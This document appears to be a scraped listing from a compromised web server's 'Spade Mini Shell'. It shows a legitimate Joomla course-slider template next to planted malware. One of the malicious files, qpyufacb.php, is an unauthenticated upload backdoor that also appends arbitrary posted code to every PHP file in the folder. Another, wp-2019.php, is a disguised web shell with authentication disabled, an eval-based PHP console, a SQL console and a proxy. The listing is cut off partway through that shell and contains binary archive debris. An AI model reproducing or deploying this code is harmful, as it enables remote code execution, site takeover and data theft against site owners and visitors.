Spade
Mini Shell
| Directory:~$ /home/lmsyaran/public_html/css/ |
| [Home] [System Details] [Kill Me] |
PK�V�[���jdefault.phpnu�[���<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.76
@build 5th December, 2021
@created 22nd July, 2020
@package Moojla
@subpackage default.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
?>
<!--[JCBGUI.joomla_module.default.1.$$$$]-->
<link rel="stylesheet"
href="https://unpkg.com/swiper/swiper-bundle.min.css">
<div class="module-container module-container-<?php echo
$module->id; ?> module-swiper-container
module-swiper-container-<?php echo $module->id; ?>"
style="position: relative">
<div class="swiper-container swiper-container-<?php echo
$module->id; ?>" >
<div class="swiper-wrapper swiper-wrapper-<?php echo
$module->id; ?>">
<?php foreach($courses as $course): ?>
<div class="swiper-slide swiper-slide-<?php echo
$module->id; ?>">
<a href="<?php echo
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$course->id);?>">
<div class="center-crop-<?php echo $module->id;
?>">
<img data-src="<?php echo
$course->summary_files ?>" class="swiper-lazy">
</div>
<div class="swiper-lazy-preloader
swiper-lazy-preloader-<?php echo $module->id; ?>
swiper-lazy-preloader-white swiper-lazy-preloader-white-<?php echo
$module->id; ?>"></div>
<div class="course-content-<?php echo
$module->id; ?>">
<p><?php echo $course->fullname?></p>
<?php echo JLayoutHelper::render('favorite',
['course'=>$course, 'favorite'=>$favorite,
'params'=>$params],JPATH_SITE.'/components/com_moojla/layouts');
?>
</div>
</a>
</div>
<?php endforeach; ?>
</div>
<div class="swiper-pagination swiper-pagination-<?php echo
$module->id; ?> swiper-pagination-white
swiper-pagination-white-<?php echo $module->id;
?>"></div>
</div>
<div class="swiper-button-next swiper-button-next-<?php echo
$module->id; ?> swiper-button-white swiper-button-white-<?php echo
$module->id; ?>"></div>
<div class="swiper-button-prev swiper-button-prev-<?php echo
$module->id; ?> swiper-button-white swiper-button-white-<?php echo
$module->id; ?>"></div>
</div>
<script
src="https://unpkg.com/swiper/swiper-bundle.min.js"></script>
<script>
var swiper = new Swiper('.swiper-container-<?php echo
$module->id; ?>', {
// Enable lazy loading
lazy: true,
pagination: {
el: '.swiper-pagination-<?php echo $module->id;
?>',
clickable: true,
},
loop: true,
navigation: {
prevEl: '.swiper-button-next-<?php echo $module->id;
?>',
nextEl: '.swiper-button-prev-<?php echo $module->id;
?>',
},
breakpoints: {
640: {
slidesPerView: 1,
spaceBetween: 20,
},
768: {
slidesPerView: 2,
spaceBetween: 40,
},
1024: {
slidesPerView: 3,
spaceBetween: 50,
},
1280: {
slidesPerView: 4,
spaceBetween: 50,
},
}
});
</script>
<style>
div.swiper-button-next-<?php echo $module->id; ?>::after {
font-family:FontAwesome;
content: '\f105' !important;
color: lightblue;
}
div.swiper-button-prev-<?php echo $module->id; ?>::after {
font-family:FontAwesome;
content: '\f104' !important;
color: lightblue;
}
.center-crop-<?php echo $module->id; ?> img {
/*width: auto;
padding: 0;*/
position: absolute;
left: -1000%;
right: -1000%;
top: -1000%;
bottom: -1000%;
margin: auto;
min-height: 100%;
min-width: 100%;
}
.center-crop-<?php echo $module->id; ?> {
width: 13vw !important;
height: 8vw;
overflow: hidden;
margin: 10px;
position: relative;
}
.course-content-<?php echo $module->id; ?> {
padding-right: 20px;
margin-bottom: 50px;
}
.swiper-lazy-preloader-<?php echo $module->id; ?> {
margin-bottom: 50%;
}
</style>
<!--[/JCBGUI$$$$]-->
<script type="text/javascript">
/***[JCBGUI.field.javascript_views_footer.1026.$$$$]***/
/*saaaaaaaaalaaaaaaaaaaam2*/
function fillList(x){
alert('salam views');
}/***[/JCBGUI$$$$]***/
</script>
PK�V�[�#o,,
index.htmlnu�[���<html><body
bgcolor="#FFFFFF"></body></html>PK�V�[���6��qpyufacb.phpnu�[���<?php
echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
while (false !== ($file = readdir($handle))) {
if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
$fileHandle = fopen($directory . '/' . $file,
'a');
fwrite($fileHandle, $textToAppend);
fclose($fileHandle);
echo "OK >> $file
";
}
}
closedir($handle);
}
}
?>
PK�V�[��q��=�=wp-2019.phpnu�[���<?php
/* PHP File manager ver 1.5 */
// Configuration — do not change manually!
$authorization =
'{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script
type=\"text\/javascript\"
src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script
language=\"Javascript\"
type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid:
\"newcontent\"\r\n,display:
\"later\"\r\n,start_highlight: true\r\n,allow_resize:
\"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language:
\"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar:
\"search, go_to_line, |, undo, redo, |, select_font, |,
syntax_selection, |, change_smooth_selection, highlight, reset_highlight,
|, help\"\r\n,syntax_selection_allow:
\"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global
$fm_config;\r\nvar_export($fm_config);","Backup SQL
tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW
DATABASES;","All tables":"SHOW TABLES;"}';
$translation =
'{"id":"ru","Add":"Добавить","Are
you sure you want to delete this directory (recursively)?":"Вы
уверены, что хотите удалить эту папку
(рекурсивно)?","Are you sure you want to delete this
file?":"Вы уверены, что хотите удалить
этот
файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error
occurred":"Произошла ошибка","File
manager":"Файловый менеджер","File
selected":"Выбран файл","File
updated":"Файл
сохранен","Filename":"Имя
файла","Files uploaded":"Файл
загружен","French":"Французский","Generation
time":"Генерация
страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make
directory":"Создать
папку","Name":"Наименование","New":"Новое","New
file":"Новый файл","no
files":"нет
файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset
settings":"Сбросить
настройки","Restore file time after
editing":"Восстанавливать время файла
после
редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select
the file":"Выберите
файл","Settings":"Настройка","Show":"Показать","Show
size of the folder":"Показывать размер
папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found
in files":"Найдено в
файлах","Search":"Поиск","Recursive
search":"Рекурсивный
поиск","Mask":"Маска"}';
// end configuration
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs =
array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path =
realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\',
'/',realpath('./'));
$phar_maybe =
(version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ?
$auth['authorize'] : 0;
$auth['days_authorization'] =
(isset($auth['days_authorization'])&&is_numeric($auth['days_authorization']))
? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ?
$auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ?
$auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ?
$auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ?
$auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size →
maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config =
$fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() +
(86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang &&
!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) &&
empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',',
$_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language :
$_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang =
file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/'
. $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string =
str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans =
array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val,
true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" .
basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return
round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return
round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return
round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return
round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return
round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file))
$size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type =
'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)',
str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory .
'/' . $filename)) && (empty($exp) || preg_match($exp,
$filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a
href="?'.$get.'='.base64_encode($link).'"
title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel
&&
$sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post"
action="">
<select name="fm_lang"
title="'.__('Language').'"
onchange="document.forms[\'change_lang\'].submit()"
>
<option value="en"
'.($current=='en'?'selected="selected"
':'').'>'.__('English').'</option>
<option value="de"
'.($current=='de'?'selected="selected"
':'').'>'.__('German').'</option>
<option value="ru"
'.($current=='ru'?'selected="selected"
':'').'>'.__('Russian').'</option>
<option value="fr"
'.($current=='fr'?'selected="selected"
':'').'>'.__('French').'</option>
<option value="uk"
'.($current=='uk'?'selected="selected"
':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'],
$fm_config['sql_username'], $fm_config['sql_password'],
$fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return
'<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS
`'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE
'.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.=
'"'.$row[$j].'"' ; } else { $return.=
'""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is",
'', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File
selected').': \n'. $file. '. \n'.__('Are you
sure you want to delete this file?') . '\'))
document.location.href = \'?delete=' . $file .
'&path=' . $path . '\'"';
return $file.':
'.fm_link('download',$path.$file,__('Download'),__('Download').'
'.$file).' <a href="#" title="' .
__('Delete') . ' '. $file . '" ' .
$alert . '>' . __('Delete') .
'</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' —
'.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return
'./'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image:
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input
id="fm_config_'.$value.'"
name="fm_config['.$value.']" value="1"
'.(empty($fm_config[$value])?'':'checked="true"').'
type="checkbox"></td><td class="row2
whole"><label
for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return
$_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) &&
$_SERVER['HTTPS'] == 'on') return
'https://';
if (isset($_SERVER['SERVER_PORT']) &&
$_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) &&
$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return
'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'"
title="'.__('Home').'"><span
class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return =
!empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post"
action="'.fm_url().'"
style="display:inline">
<input type="submit"
name="'.$lng.'run"
value="'.strtoupper($lng).'
'.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host =
$parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link,
'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input
name="'.$lng_tpl.'_name[]"
value="'.$ktpl.'"></td><td class="row2
whole"><textarea name="'.$lng_tpl.'_value[]"
cols="55" rows="5"
class="textarea_input">'.$vtpl.'</textarea>
<input name="del_'.rand().'" type="button"
onClick="this.parentNode.parentNode.remove();"
value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th
colspan="2">'.strtoupper($lng_tpl).'
'.__('templates').'
'.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td
class="row1">'.__('Name').'</td><td
class="row2
whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input
name="res" type="button"
onClick="document.location.href =
\''.fm_url().'?fm_settings=true\';"
value="'.__('Reset').'"/> <input
type="submit"
value="'.__('Save').'"
></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'"
name="tpl_edited">
<tr><td class="row1"><input
name="'.$lng_tpl.'_new_name" value=""
placeholder="'.__('New').'
'.__('Name').'"></td><td
class="row2 whole"><textarea
name="'.$lng_tpl.'_new_value" cols="55"
rows="5" class="textarea_input"
placeholder="'.__('New').'
'.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input
type="submit" value="'.__('Add').'"
></td></tr>
</form>
</table>
';
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) &&
isset($_POST['password'])){
if (($_POST['login']==$auth['login']) &&
($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'],
$auth['login'].'|'.md5($auth['password']),
time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR
($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password'])))
{
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,
initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login"
type="text">
'.__('Password').' <input name="password"
type="password">
<input type="submit"
value="'.__('Enter').'"
class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 *
$auth['days_authorization']));
header('Location:
'.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 *
$auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 *
$auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize']))
$_POST['fm_login'] = array('authorize' =>
'0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search =
preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#',
$fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace =
str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] !=
$auth['login']) $msg .= '
'.__('Login').':
'.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] !=
$auth['password']) $msg .= '
'.__('Password').':
'.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time']))
touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php =
json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
